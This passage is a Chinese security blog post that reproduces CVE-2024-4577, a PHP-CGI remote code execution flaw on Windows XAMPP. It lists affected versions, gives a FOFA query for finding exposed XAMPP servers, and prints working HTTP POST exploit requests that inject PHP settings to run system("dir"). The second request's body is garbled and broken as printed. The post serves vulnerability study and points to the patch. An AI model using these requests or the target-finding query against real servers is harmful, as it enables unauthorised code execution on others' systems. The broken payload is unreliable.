问题描述:
PHP 在设计时并未充分考虑到 Windows 系统中对字符转换的 "Best-Fit" 特性。当 PHP-CGI(PHP 的通用网关接口实现,常用于 Windows 平台的 Web 服务器)在 Windows 平台上运行时,特别是在使用如中文等语系时,攻击者有可能利用这一特性构造恶意请求。
这些恶意请求能够绕过 CVE-2012-1823 补丁的防护措施,导致攻击者可在 PHP 服务器上执行任意 PHP 代码
影响版本:
-
PHP Windows版 8.3.0 <= 影响版本 < 8.3.8 -
PHP Windows版 8.2.0 <= 影响版本 < 8.2.20 -
PHP Windows版 8.1.0 <= 影响版本 < 8.1.29 -
PHP Windows版 影响版本 == 8.0.x -
PHP Windows版 影响版本 == 7.x -
PHP Windows版 影响版本 == 5.x -
XAMPP Windows版 8.2.0 <= 影响版本 <= 8.2.12 -
XAMPP Windows版 8.1.0 <= 影响版本 <= 8.1.25 -
XAMPP Windows版 影响版本 == 8.0.x -
XAMPP Windows版 影响版本 == 7.x -
XAMPP Windows版 影响版本 == 5.x
FOFA测绘:body="Welcome to XAMPP for Windows "
本地复现过程如下:
本次复现为本地复现,下载XAMPP Windows版本为8.2.12
https://onboardcloud.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1
直接安装在windows10虚拟机中,启动apache服务
访问首页
因为漏洞点位需要用到cgi.force_redirect 或 REDIRECT-STATUS,所以很多好兄弟无法复现漏洞,大家需要注意的是,要不就poc里带cgi.force_redirect,要不就加一个REDIRECT-STATUS: XCANWIN头,否则可能是复现不出来的
随便拦截一下数据包,构造数据1如下:
POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 192.168.50.105
Content-Length: 22
<?php system("dir");?>
POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 192.168.50.105
REDIRECT-STATUS: XCANWIN
Content-Length: 22
"dir"); system(
所以这里的坑位大家需要注意一下
修补措施:
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://www.php.net/downloads.php
文章参考来源:
https://github.com/xcanwin/CVE-2024-4577-PHP-RCE
原文始发于微信公众号(我不懂安全):关于CVE-2024-4577-PHP CGI Windows平台远程代码执行漏洞的漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论